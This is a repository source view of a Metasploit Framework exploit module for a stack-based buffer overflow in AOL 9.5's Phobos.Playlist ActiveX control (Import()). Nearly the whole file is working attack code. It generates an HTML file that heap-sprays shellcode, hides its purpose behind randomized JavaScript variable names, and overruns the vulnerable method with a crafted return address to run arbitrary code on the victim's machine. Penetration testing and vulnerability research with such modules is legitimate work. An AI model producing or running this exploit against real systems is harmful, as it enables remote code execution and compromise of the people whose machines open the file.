Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / fileformat / aol_phobos_bof.rb @ master

History | View | Annotate | Download (4.3 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
##
13
# aol_phobos_bof.rb
14
#
15
# AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework
16
#
17
# Tested successfully on the following platforms:
18
#  - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP3
19
#
20
# Phobos.dll version tested:
21
# File Version: 9.5.0.1
22
# ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C
23
# RegKey Safe for Script: False
24
# RegKey Safe for Init: False
25
# Implements IObjectSafety: False
26
# KillBitSet: False
27
#
28
# Due to the safe for initialization and safe for scripting settings of this ActiveX control,
29
# exploitation is possible only from Local Machine Zone, which means the victim must run the
30
# generated exploit file locally.
31
#
32
# Trancer
33
# http://www.rec-sec.com
34
##
35

    
36
require 'msf/core'
37

    
38
class Metasploit3 < Msf::Exploit::Remote
39
        Rank = AverageRanking
40

    
41
        include Msf::Exploit::FILEFORMAT
42

    
43
        def initialize(info = {})
44
                super(update_info(info,
45
                        'Name'           => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',
46
                        'Description'    => %q{
47
                                This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.
48
                                By setting an overly long value to 'Import()', an attacker can overrun a buffer
49
                                and execute arbitrary code.
50

    
51
                                NOTE: This ActiveX control is NOT marked safe for scripting or initialization.
52
                        },
53
                        'License'        => MSF_LICENSE,
54
                        'Author'         =>
55
                                [
56
                                        'Trancer <mtrancer[at]gmail.com>'
57
                                ],
58
                        'Version'        => '$Revision$',
59
                        'References'     =>
60
                                [
61
                                        [ 'OSVDB', '61964'],
62
                                        [ 'URL', 'http://www.exploit-db.com/exploits/11204' ],
63
                                        [ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ],
64
                                ],
65
                        'DefaultOptions' =>
66
                                {
67
                                        'EXITFUNC' => 'process',
68
                                        'DisablePayloadHandler' => 'true',
69
                                },
70
                        'Payload'        =>
71
                                {
72
                                        'Space'         => 1024,
73
                                        'BadChars'      => "\x00\x09\x0a\x0d'\\",
74
                                        'StackAdjustment' => -3500,
75
                                },
76
                        'Platform'       => 'win',
77
                        'Targets'        =>
78
                                [
79
                                        [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]
80
                                ],
81
                        'DisclosureDate' => 'Jan 20 2010',
82
                        'DefaultTarget'  => 0))
83

    
84
                        register_options(
85
                                [
86
                                        OptString.new('FILENAME',   [ false, 'The file name.',  'msf.html']),
87
                                ], self.class)
88
        end
89

    
90
        def exploit
91

    
92
                # Encode the shellcode
93
                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
94

    
95
                # Setup exploit buffers
96
                nops           = Rex::Text.to_unescape([target.ret].pack('V'))
97
                ret            = Rex::Text.uri_encode([target.ret].pack('L'))
98
                blocksize = 0x40000
99
                fillto    = 500
100
                offset           = target['Offset']
101

    
102
                # Randomize the javascript variable names
103
                phobos       = rand_text_alpha(rand(100) + 1)
104
                j_shellcode  = rand_text_alpha(rand(100) + 1)
105
                j_nops       = rand_text_alpha(rand(100) + 1)
106
                j_ret        = rand_text_alpha(rand(100) + 1)
107
                j_headersize = rand_text_alpha(rand(100) + 1)
108
                j_slackspace = rand_text_alpha(rand(100) + 1)
109
                j_fillblock  = rand_text_alpha(rand(100) + 1)
110
                j_block      = rand_text_alpha(rand(100) + 1)
111
                j_memory     = rand_text_alpha(rand(100) + 1)
112
                j_counter    = rand_text_alpha(rand(30) + 2)
113
                j_bla        = rand_text_alpha(rand(8) + 4)
114

    
115
                html = %Q|<html>
116
<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object>
117
<script>
118
#{j_shellcode}=unescape('#{shellcode}');
119
#{j_nops}=unescape('#{nops}');
120
#{j_headersize}=20;
121
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
122
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
123
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
124
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
125
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
126
#{j_memory}=new Array();
127
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
128

    
129
var #{j_ret}='';
130
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
131
#{phobos}.Import(#{j_ret},'#{j_bla}','True','True');
132
</script>
133
</html>|
134

    
135
                print_status("Creating '#{datastore['FILENAME']}' file ...")
136

    
137
                file_create(html)
138
        end
139

    
140
end